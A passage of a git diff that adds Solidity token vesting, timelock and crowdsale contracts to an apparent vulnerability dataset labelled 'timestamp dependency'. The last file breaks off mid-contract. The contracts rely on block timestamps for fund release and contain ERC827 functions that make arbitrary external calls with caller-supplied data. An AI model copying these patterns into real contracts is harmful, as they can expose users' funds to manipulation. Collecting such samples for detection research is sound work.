_tokenAmount) internal { + require(remainingTokensForSale >= _tokenAmount); + remainingTokensForSale = remainingTokensForSale.sub(_tokenAmount); + + super._deliverTokens(_beneficiary, _tokenAmount); + } + + + function finalization() internal { + require(now >= KYC_VERIFICATION_END_TIME); + + VreoToken(token).mint(teamAddress, TOKEN_SHARE_OF_TEAM); + VreoToken(token).mint(advisorsAddress, TOKEN_SHARE_OF_ADVISORS); + VreoToken(token).mint(legalsAddress, TOKEN_SHARE_OF_LEGALS); + VreoToken(token).mint(bountyAddress, TOKEN_SHARE_OF_BOUNTY); + + VreoToken(token).finishMinting(); + VreoToken(token).unpause(); + + super.finalization(); + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/665.sol b/smart_contract_dataset/timestamp dependency/665.sol new file mode 100644 index 0000000000000000000000000000000000000000..50e581bf04b2ff3db5a182446ec39a5bcbdf5611 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/665.sol @@ -0,0 +1,174 @@ +pragma solidity 0.4.24; + +contract ERC20TokenInterface { + + function totalSupply () external constant returns (uint); + function balanceOf (address tokenOwner) external constant returns (uint balance); + function transfer (address to, uint tokens) external returns (bool success); + function transferFrom (address from, address to, uint tokens) external returns (bool success); + +} + + +library SafeMath { + + function mul (uint256 a, uint256 b) internal pure returns (uint256 c) { + if (a == 0) { + return 0; + } + c = a * b; + require(c / a == b); + return c; + } + + function div (uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + function sub (uint256 a, uint256 b) internal pure returns (uint256) { + require(b <= a); + return a - b; + } + + function add (uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + require(c >= a); + return c; + } + +} + + +contract TwoYearDreamTokensVesting { + + using SafeMath for uint256; + + + ERC20TokenInterface public dreamToken; + + + address public withdrawalAddress = 0x0; + + + struct VestingStage { + uint256 date; + uint256 tokensUnlockedPercentage; + } + + + VestingStage[4] public stages; + + + uint256 public initialTokensBalance; + + + uint256 public tokensSent; + + + uint256 public vestingStartUnixTimestamp; + + + address public deployer; + + modifier deployerOnly { require(msg.sender == deployer); _; } + modifier whenInitialized { require(withdrawalAddress != 0x0); _; } + modifier whenNotInitialized { require(withdrawalAddress == 0x0); _; } + + + event Withdraw(uint256 amount, uint256 timestamp); + + + constructor (ERC20TokenInterface token) public { + dreamToken = token; + deployer = msg.sender; + } + + + function () external { + withdrawTokens(); + } + + + function initializeVestingFor (address account) external deployerOnly whenNotInitialized { + initialTokensBalance = dreamToken.balanceOf(this); + require(initialTokensBalance != 0); + withdrawalAddress = account; + vestingStartUnixTimestamp = block.timestamp; + vestingRules(); + } + + + function getAvailableTokensToWithdraw () public view returns (uint256) { + uint256 tokensUnlockedPercentage = getTokensUnlockedPercentage(); + + + if (tokensUnlockedPercentage >= 100) { + return dreamToken.balanceOf(this); + } else { + return getTokensAmountAllowedToWithdraw(tokensUnlockedPercentage); + } + } + + + function vestingRules () internal { + + uint256 halfOfYear = 183 days; + uint256 year = halfOfYear * 2; + + stages[0].date = vestingStartUnixTimestamp + halfOfYear; + stages[1].date = vestingStartUnixTimestamp + year; + stages[2].date = vestingStartUnixTimestamp + year + halfOfYear; + stages[3].date = vestingStartUnixTimestamp + (year * 2); + + stages[0].tokensUnlockedPercentage = 25; + stages[1].tokensUnlockedPercentage = 50; + stages[2].tokensUnlockedPercentage = 75; + stages[3].tokensUnlockedPercentage = 100; + + } + + + function withdrawTokens () private whenInitialized { + uint256 tokensToSend = getAvailableTokensToWithdraw(); + sendTokens(tokensToSend); + if (dreamToken.balanceOf(this) == 0) { + selfdestruct(withdrawalAddress); + } + } + + + function sendTokens (uint256 tokensToSend) private { + if (tokensToSend == 0) { + return; + } + tokensSent = tokensSent.add(tokensToSend); + dreamToken.transfer(withdrawalAddress, tokensToSend); + emit Withdraw(tokensToSend, now); + } + + + function getTokensAmountAllowedToWithdraw (uint256 tokensUnlockedPercentage) private view returns (uint256) { + uint256 totalTokensAllowedToWithdraw = initialTokensBalance.mul(tokensUnlockedPercentage).div(100); + uint256 unsentTokensAmount = totalTokensAllowedToWithdraw.sub(tokensSent); + return unsentTokensAmount; + } + + + function getTokensUnlockedPercentage () private view returns (uint256) { + + uint256 allowedPercent; + + for (uint8 i = 0; i < stages.length; i++) { + if (now >= stages[i].date) { + allowedPercent = stages[i].tokensUnlockedPercentage; + } + } + + return allowedPercent; + + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/6663.sol b/smart_contract_dataset/timestamp dependency/6663.sol new file mode 100644 index 0000000000000000000000000000000000000000..7b3bd9c1bf65f891971f6e9fe6e6d8c5a4ae35a4 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/6663.sol @@ -0,0 +1,329 @@ +pragma solidity ^0.4.23; + + + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + + + + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + + + + +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + + + + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + + + + +contract TokenTimelockController is Ownable { + using SafeMath for uint; + + struct TokenTimelock { + uint256 amount; + uint256 releaseTime; + bool released; + bool revocable; + bool revoked; + } + + event TokenTimelockCreated( + address indexed beneficiary, + uint256 releaseTime, + bool revocable, + uint256 amount + ); + + event TokenTimelockRevoked( + address indexed beneficiary + ); + + event TokenTimelockBeneficiaryChanged( + address indexed previousBeneficiary, + address indexed newBeneficiary + ); + + event TokenTimelockReleased( + address indexed beneficiary, + uint256 amount + ); + + uint256 public constant TEAM_LOCK_DURATION_PART1 = 1 * 365 days; + uint256 public constant TEAM_LOCK_DURATION_PART2 = 2 * 365 days; + uint256 public constant INVESTOR_LOCK_DURATION = 1 hours; + + mapping (address => TokenTimelock[]) tokenTimeLocks; + + ERC20 public token; + address public crowdsale; + bool public activated; + + + constructor(ERC20 _token) public { + token = _token; + } + + modifier onlyCrowdsale() { + require(msg.sender == crowdsale); + _; + } + + modifier onlyWhenActivated() { + require(activated); + _; + } + + modifier onlyValidTokenTimelock(address _beneficiary, uint256 _id) { + require(_beneficiary != address(0)); + require(_id < tokenTimeLocks[_beneficiary].length); + require(!tokenTimeLocks[_beneficiary][_id].revoked); + _; + } + + + function setCrowdsale(address _crowdsale) external onlyOwner { + require(_crowdsale != address(0)); + crowdsale = _crowdsale; + } + + + function activate() external onlyCrowdsale { + activated = true; + } + + + function createInvestorTokenTimeLock( + address _beneficiary, + uint256 _amount, + uint256 _start, + address _tokenHolder + ) external onlyCrowdsale returns (bool) + { + require(_beneficiary != address(0) && _amount > 0); + require(_tokenHolder != address(0)); + + TokenTimelock memory tokenLock = TokenTimelock( + _amount, + _start.add(INVESTOR_LOCK_DURATION), + false, + false, + false + ); + tokenTimeLocks[_beneficiary].push(tokenLock); + require(token.transferFrom(_tokenHolder, this, _amount)); + + emit TokenTimelockCreated( + _beneficiary, + tokenLock.releaseTime, + false, + _amount); + return true; + } + + + function createTeamTokenTimeLock( + address _beneficiary, + uint256 _amount, + uint256 _start, + address _tokenHolder + ) external onlyOwner returns (bool) + { + require(_beneficiary != address(0) && _amount > 0); + require(_tokenHolder != address(0)); + + uint256 amount = _amount.div(2); + TokenTimelock memory tokenLock1 = TokenTimelock( + amount, + _start.add(TEAM_LOCK_DURATION_PART1), + false, + true, + false + ); + tokenTimeLocks[_beneficiary].push(tokenLock1); + + TokenTimelock memory tokenLock2 = TokenTimelock( + amount, + _start.add(TEAM_LOCK_DURATION_PART2), + false, + true, + false + ); + tokenTimeLocks[_beneficiary].push(tokenLock2); + + require(token.transferFrom(_tokenHolder, this, _amount)); + + emit TokenTimelockCreated( + _beneficiary, + tokenLock1.releaseTime, + true, + amount); + emit TokenTimelockCreated( + _beneficiary, + tokenLock2.releaseTime, + true, + amount); + return true; + } + + + function revokeTokenTimelock( + address _beneficiary, + uint256 _id) + external onlyWhenActivated onlyOwner onlyValidTokenTimelock(_beneficiary, _id) + { + require(tokenTimeLocks[_beneficiary][_id].revocable); + require(!tokenTimeLocks[_beneficiary][_id].released); + TokenTimelock storage tokenLock = tokenTimeLocks[_beneficiary][_id]; + tokenLock.revoked = true; + require(token.transfer(owner, tokenLock.amount)); + emit TokenTimelockRevoked(_beneficiary); + } + + + function getTokenTimelockCount(address _beneficiary) view external returns (uint) { + return tokenTimeLocks[_beneficiary].length; + } + + + function getTokenTimelockDetails(address _beneficiary, uint256 _id) view external returns ( + uint256 _amount, + uint256 _releaseTime, + bool _released, + bool _revocable, + bool _revoked) + { + require(_id < tokenTimeLocks[_beneficiary].length); + _amount = tokenTimeLocks[_beneficiary][_id].amount; + _releaseTime = tokenTimeLocks[_beneficiary][_id].releaseTime; + _released = tokenTimeLocks[_beneficiary][_id].released; + _revocable = tokenTimeLocks[_beneficiary][_id].revocable; + _revoked = tokenTimeLocks[_beneficiary][_id].revoked; + } + + + function changeBeneficiary(uint256 _id, address _newBeneficiary) external onlyWhenActivated onlyValidTokenTimelock(msg.sender, _id) { + tokenTimeLocks[_newBeneficiary].push(tokenTimeLocks[msg.sender][_id]); + if (tokenTimeLocks[msg.sender].length > 1) { + tokenTimeLocks[msg.sender][_id] = tokenTimeLocks[msg.sender][tokenTimeLocks[msg.sender].length.sub(1)]; + delete(tokenTimeLocks[msg.sender][tokenTimeLocks[msg.sender].length.sub(1)]); + } + tokenTimeLocks[msg.sender].length--; + emit TokenTimelockBeneficiaryChanged(msg.sender, _newBeneficiary); + } + + + function release(uint256 _id) external { + releaseFor(msg.sender, _id); + } + + + function releaseFor(address _beneficiary, uint256 _id) public onlyWhenActivated onlyValidTokenTimelock(_beneficiary, _id) { + TokenTimelock storage tokenLock = tokenTimeLocks[_beneficiary][_id]; + require(!tokenLock.released); + + require(block.timestamp >= tokenLock.releaseTime); + tokenLock.released = true; + require(token.transfer(_beneficiary, tokenLock.amount)); + emit TokenTimelockReleased(_beneficiary, tokenLock.amount); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/6747.sol b/smart_contract_dataset/timestamp dependency/6747.sol new file mode 100644 index 0000000000000000000000000000000000000000..2740936e5ba6c53d10dceb764aa46b780d674312 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/6747.sol @@ -0,0 +1,890 @@ +pragma solidity ^0.4.13; + +contract FinalizeAgent { + + function isFinalizeAgent() public constant returns(bool) { + return true; + } + + + function isSane() public constant returns (bool); + + + function finalizeCrowdsale(); + +} + +contract PricingStrategy { + + + function isPricingStrategy() public constant returns (bool) { + return true; + } + + + function isSane(address crowdsale) public constant returns (bool) { + return true; + } + + + function isPresalePurchase(address purchaser) public constant returns (bool) { + return false; + } + + + function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount); +} + +library SafeMathLib { + + function times(uint a, uint b) returns (uint) { + uint c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function minus(uint a, uint b) returns (uint) { + assert(b <= a); + return a - b; + } + + function plus(uint a, uint b) returns (uint) { + uint c = a + b; + assert(c>=a); + return c; + } + +} + +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + + function Ownable() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +contract Recoverable is Ownable { + + + function Recoverable() { + } + + + + function recoverTokens(ERC20Basic token) onlyOwner public { + token.transfer(owner, tokensToBeReturned(token)); + } + + + + + function tokensToBeReturned(ERC20Basic token) public returns (uint) { + return token.balanceOf(this); + } +} + +contract Haltable is Ownable { + bool public halted; + + modifier stopInEmergency { + if (halted) throw; + _; + } + + modifier stopNonOwnersInEmergency { + if (halted && msg.sender != owner) throw; + _; + } + + modifier onlyInEmergency { + if (!halted) throw; + _; + } + + + function halt() external onlyOwner { + halted = true; + } + + + function unhalt() external onlyOwner onlyInEmergency { + halted = false; + } + +} + +contract Whitelist is Ownable { + mapping(address => bool) public whitelist; + + event WhitelistedAddressAdded(address addr); + event WhitelistedAddressRemoved(address addr); + + + modifier onlyWhitelisted() { + require(whitelist[msg.sender]); + _; + } + + + function addAddressToWhitelist(address addr) onlyOwner public returns(bool success) { + if (!whitelist[addr]) { + whitelist[addr] = true; + WhitelistedAddressAdded(addr); + success = true; + } + } + + + function addAddressesToWhitelist(address[] addrs) onlyOwner public returns(bool success) { + for (uint256 i = 0; i < addrs.length; i++) { + if (addAddressToWhitelist(addrs[i])) { + success = true; + } + } + } + + + function removeAddressFromWhitelist(address addr) onlyOwner public returns(bool success) { + if (whitelist[addr]) { + whitelist[addr] = false; + WhitelistedAddressRemoved(addr); + success = true; + } + } + + + function removeAddressesFromWhitelist(address[] addrs) onlyOwner public returns(bool success) { + for (uint256 i = 0; i < addrs.length; i++) { + if (removeAddressFromWhitelist(addrs[i])) { + success = true; + } + } + } + +} + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +contract FractionalERC20 is ERC20 { + + uint public decimals; + +} + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + if (a == 0) { + return 0; + } + uint256 c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + uint256 c = a / b; + + return c; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + assert(c >= a); + return c; + } +} + +contract BasicToken is ERC20Basic { + using SafeMath for uint256; + + mapping(address => uint256) balances; + + uint256 totalSupply_; + + + function totalSupply() public view returns (uint256) { + return totalSupply_; + } + + + function transfer(address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[msg.sender]); + + + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + Transfer(msg.sender, _to, _value); + return true; + } + + + function balanceOf(address _owner) public view returns (uint256 balance) { + return balances[_owner]; + } + +} + +contract StandardToken is ERC20, BasicToken { + + mapping (address => mapping (address => uint256)) internal allowed; + + + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[_from]); + require(_value <= allowed[_from][msg.sender]); + + balances[_from] = balances[_from].sub(_value); + balances[_to] = balances[_to].add(_value); + allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); + Transfer(_from, _to, _value); + return true; + } + + + function approve(address _spender, uint256 _value) public returns (bool) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + + function allowance(address _owner, address _spender) public view returns (uint256) { + return allowed[_owner][_spender]; + } + + + function increaseApproval(address _spender, uint _addedValue) public returns (bool) { + allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); + Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + + function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { + uint oldValue = allowed[msg.sender][_spender]; + if (_subtractedValue > oldValue) { + allowed[msg.sender][_spender] = 0; + } else { + allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); + } + Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + +} + +contract CrowdsaleBase is Haltable, Whitelist { + + + uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5; + + using SafeMathLib for uint; + + + FractionalERC20 public token; + + + PricingStrategy public pricingStrategy; + + + FinalizeAgent public finalizeAgent; + + + address public multisigWallet; + + + uint public minimumFundingGoal; + + + uint public startsAt; + + + uint public endsAt; + + + uint public tokensSold = 0; + + + uint public weiRaised = 0; + + + uint public presaleWeiRaised = 0; + + + uint public investorCount = 0; + + + uint public loadedRefund = 0; + + + uint public weiRefunded = 0; + + + bool public finalized; + + + mapping (address => uint256) public investedAmountOf; + + + mapping (address => uint256) public tokenAmountOf; + + + mapping (address => bool) public earlyParticipantWhitelist; + + + uint public ownerTestValue; + + + enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding} + + + event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId); + + + event Refund(address investor, uint weiAmount); + + + event InvestmentPolicyChanged(bool newRequireCustomerId, bool newRequiredSignedAddress, address newSignerAddress); + + + event Whitelisted(address addr, bool status); + + + event EndsAtChanged(uint newEndsAt); + + function CrowdsaleBase(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) { + + owner = msg.sender; + + token = FractionalERC20(_token); + setPricingStrategy(_pricingStrategy); + + multisigWallet = _multisigWallet; + if(multisigWallet == 0) { + throw; + } + + if(_start == 0) { + throw; + } + + startsAt = _start; + + if(_end == 0) { + throw; + } + + endsAt = _end; + + + if(startsAt >= endsAt) { + throw; + } + + + minimumFundingGoal = _minimumFundingGoal; + } + + + + + function investInternal(address receiver, uint128 customerId) stopInEmergency internal returns(uint tokensBought) { + + + + + + + Whitelist dc; + address contract_addr = 0x062e41d1037745dc203e8c1AAcA651B8d157Da96; + dc = Whitelist(contract_addr); + require (dc.whitelist(msg.sender)); + require (dc.whitelist(receiver)); + + + + if(getState() == State.PreFunding) { + + if(!earlyParticipantWhitelist[receiver]) { + throw; + } + } else if(getState() == State.Funding) { + + + } else { + + throw; + } + + uint weiAmount = msg.value; + require(weiAmount >= minimumFundingGoal); + + + uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised - presaleWeiRaised, tokensSold, msg.sender, token.decimals()); + + + require(tokenAmount != 0); + + if(investedAmountOf[receiver] == 0) { + + investorCount++; + } + + + investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); + tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); + + + weiRaised = weiRaised.plus(weiAmount); + tokensSold = tokensSold.plus(tokenAmount); + + if(pricingStrategy.isPresalePurchase(receiver)) { + presaleWeiRaised = presaleWeiRaised.plus(weiAmount); + } + + + require(!isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)); + + assignTokens(receiver, tokenAmount); + + + if(!multisigWallet.send(weiAmount)) throw; + + + Invested(receiver, weiAmount, tokenAmount, customerId); + + return tokenAmount; + } + + + function finalize() public inState(State.Success) onlyOwner stopInEmergency { + + + if(finalized) { + throw; + } + + + if(address(finalizeAgent) != 0) { + finalizeAgent.finalizeCrowdsale(); + } + + finalized = true; + } + + + function setFinalizeAgent(FinalizeAgent addr) onlyOwner { + finalizeAgent = addr; + + + if(!finalizeAgent.isFinalizeAgent()) { + throw; + } + } + + + function setEndsAt(uint time) onlyOwner { + + if(now > time) { + throw; + } + + if(startsAt > time) { + throw; + } + + endsAt = time; + EndsAtChanged(endsAt); + } + + + function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner { + pricingStrategy = _pricingStrategy; + + + if(!pricingStrategy.isPricingStrategy()) { + throw; + } + } + + + function setMultisig(address addr) public onlyOwner { + + + if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) { + throw; + } + + multisigWallet = addr; + } + + + function loadRefund() public payable inState(State.Failure) { + if(msg.value == 0) throw; + loadedRefund = loadedRefund.plus(msg.value); + } + + + function refund() public inState(State.Refunding) { + uint256 weiValue = investedAmountOf[msg.sender]; + if (weiValue == 0) throw; + investedAmountOf[msg.sender] = 0; + weiRefunded = weiRefunded.plus(weiValue); + Refund(msg.sender, weiValue); + if (!msg.sender.send(weiValue)) throw; + } + + + function isMinimumGoalReached() public constant returns (bool reached) { + return weiRaised >= minimumFundingGoal; + } + + + function isFinalizerSane() public constant returns (bool sane) { + return finalizeAgent.isSane(); + } + + + function isPricingSane() public constant returns (bool sane) { + return pricingStrategy.isSane(address(this)); + } + + + function getState() public constant returns (State) { + if(finalized) return State.Finalized; + else if (address(finalizeAgent) == 0) return State.Preparing; + else if (!finalizeAgent.isSane()) return State.Preparing; + else if (!pricingStrategy.isSane(address(this))) return State.Preparing; + else if (block.timestamp < startsAt) return State.PreFunding; + else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding; + else if (isMinimumGoalReached()) return State.Success; + else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding; + else return State.Failure; + } + + + function setOwnerTestValue(uint val) onlyOwner { + ownerTestValue = val; + } + + + function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner { + earlyParticipantWhitelist[addr] = status; + Whitelisted(addr, status); + } + + + + function isCrowdsale() public constant returns (bool) { + return true; + } + + + + + + + modifier inState(State state) { + if(getState() != state) throw; + _; + } + + + + + + + + function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken); + + + function isCrowdsaleFull() public constant returns (bool); + + + function assignTokens(address receiver, uint tokenAmount) internal; +} + +contract Crowdsale is CrowdsaleBase { + + + bool public requireCustomerId; + + + bool public requiredSignedAddress; + + + address public signerAddress; + + function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) CrowdsaleBase(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) { + } + + + function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner { + + uint tokenAmount = fullTokens * 10**token.decimals(); + uint weiAmount = weiPrice * fullTokens; + + weiRaised = weiRaised.plus(weiAmount); + tokensSold = tokensSold.plus(tokenAmount); + + investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); + tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); + + assignTokens(receiver, tokenAmount); + + + Invested(receiver, weiAmount, tokenAmount, 0); + } + + + function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable { + bytes32 hash = sha256(addr); + if (ecrecover(hash, v, r, s) != signerAddress) throw; + if(customerId == 0) throw; + investInternal(addr, customerId); + } + + + function investWithCustomerId(address addr, uint128 customerId) public payable { + if(requiredSignedAddress) throw; + if(customerId == 0) throw; + investInternal(addr, customerId); + } + + + function invest(address addr) public payable { + if(requireCustomerId) throw; + if(requiredSignedAddress) throw; + investInternal(addr, 0); + } + + + function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable { + investWithSignedAddress(msg.sender, customerId, v, r, s); + } + + + function buyWithCustomerIdWithChecksum(uint128 customerId, bytes1 checksum) public payable { + + if (bytes1(sha3(customerId)) != checksum) throw; + investWithCustomerId(msg.sender, customerId); + } + + + function buyWithCustomerId(uint128 customerId) public payable { + investWithCustomerId(msg.sender, customerId); + } + + + function buy() public payable { + invest(msg.sender); + } + + + function setRequireCustomerId(bool value) onlyOwner { + requireCustomerId = value; + InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress); + } + + + function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner { + requiredSignedAddress = value; + signerAddress = _signerAddress; + InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress); + } + + + + + function () public payable { + invest(msg.sender); + } + +} + +contract MintedTokenCappedCrowdsale is Crowdsale { + + + uint public maximumSellableTokens; + + function MintedTokenCappedCrowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _maximumSellableTokens) Crowdsale(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) { + maximumSellableTokens = _maximumSellableTokens; + } + + + function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken) { + return tokensSoldTotal > maximumSellableTokens; + } + + function isCrowdsaleFull() public constant returns (bool) { + return tokensSold >= maximumSellableTokens; + } + + + function assignTokens(address receiver, uint tokenAmount) internal { + MintableToken mintableToken = MintableToken(token); + mintableToken.mint(receiver, tokenAmount); + } +} + +contract ERC827 is ERC20 { + + function approve( address _spender, uint256 _value, bytes _data ) public returns (bool); + function transfer( address _to, uint256 _value, bytes _data ) public returns (bool); + function transferFrom( address _from, address _to, uint256 _value, bytes _data ) public returns (bool); + +} + +contract ERC827Token is ERC827, StandardToken { + + + function approve(address _spender, uint256 _value, bytes _data) public returns (bool) { + require(_spender != address(this)); + + super.approve(_spender, _value); + + require(_spender.call(_data)); + + return true; + } + + + function transfer(address _to, uint256 _value, bytes _data) public returns (bool) { + require(_to != address(this)); + + super.transfer(_to, _value); + + require(_to.call(_data)); + return true; + } + + + function transferFrom(address _from, address _to, uint256 _value, bytes _data) public returns (bool) { + require(_to != address(this)); + + super.transferFrom(_from, _to, _value); + + require(_to.call(_data)); + return true; + } + + + function increaseApproval(address _spender, uint _addedValue, bytes _data) public returns (bool) { + require(_spender != address(this)); + + super.increaseApproval(_spender, _addedValue); + + require(_spender.call(_data)); + + return true; + } + + + function decreaseApproval(address _spender, uint _subtractedValue, bytes _data) public returns (bool) { + require(_spender != address(this)); + + super.decreaseApproval(_spender, _subtractedValue); + + require(_spender.call(_data)); + + return true; + } + +} + +contract StandardTokenExt is StandardToken, ERC827Token, Recoverable { + + + function isToken() public constant returns (bool weAre) { + return true; + } +} + +contract MintableToken is StandardTokenExt { + + using SafeMathLib for uint; + + bool public mintingFinished = false; + + + mapping (address => bool) public mintAgents; + + event MintingAgentChanged(address addr, bool state); + event Minted(address receiver, uint amount); + + + function mint(address receiver, uint amount) onlyMintAgent canMint public { + totalSupply_ = totalSupply_.plus(amount); + balances[receiver] = balances[receiver].plus(amount); + + + + Transfer(0, receiver, amount); + } + + + function setMintAgent(address addr, bool state) onlyOwner canMint public { + mintAgents[addr] = state; + MintingAgentChanged(addr, state); + } + + modifier onlyMintAgent() { + + if(!mintAgents[msg.sender]) { + throw; + } + _; + } + + + modifier canMint() { + if(mintingFinished) throw; + _; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/6753.sol b/smart_contract_dataset/timestamp dependency/6753.sol new file mode 100644 index 0000000000000000000000000000000000000000..2740936e5ba6c53d10dceb764aa46b780d674312 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/6753.sol @@ -0,0 +1,890 @@ +pragma solidity ^0.4.13; + +contract FinalizeAgent { + + function isFinalizeAgent() public constant returns(bool) { + return true; + } + + + function isSane() public constant returns (bool); + + + function finalizeCrowdsale(); + +} + +contract PricingStrategy { + + + function isPricingStrategy() public constant returns (bool) { + return true; + } + + + function isSane(address crowdsale) public constant returns (bool) { + return true; + } + + + function isPresalePurchase(address purchaser) public constant returns (bool) { + return false; + } + + + function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount); +} + +library SafeMathLib { + + function times(uint a, uint b) returns (uint) { + uint c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function minus(uint a, uint b) returns (uint) { + assert(b <= a); + return a - b; + } + + function plus(uint a, uint b) returns (uint) { + uint c = a + b; + assert(c>=a); + return c; + } + +} + +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + + function Ownable() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +contract Recoverable is Ownable { + + + function Recoverable() { + } + + + + function recoverTokens(ERC20Basic token) onlyOwner public { + token.transfer(owner, tokensToBeReturned(token)); + } + + + + + function tokensToBeReturned(ERC20Basic token) public returns (uint) { + return token.balanceOf(this); + } +} + +contract Haltable is Ownable { + bool public halted; + + modifier stopInEmergency { + if (halted) throw; + _; + } + + modifier stopNonOwnersInEmergency { + if (halted && msg.sender != owner) throw; + _; + } + + modifier onlyInEmergency { + if (!halted) throw; + _; + } + + + function halt() external onlyOwner { + halted = true; + } + + + function unhalt() external onlyOwner onlyInEmergency { + halted = false; + } + +} + +contract Whitelist is Ownable { + mapping(address => bool) public whitelist; + + event WhitelistedAddressAdded(address addr); + event WhitelistedAddressRemoved(address addr); + + + modifier onlyWhitelisted() { + require(whitelist[msg.sender]); + _; + } + + + function 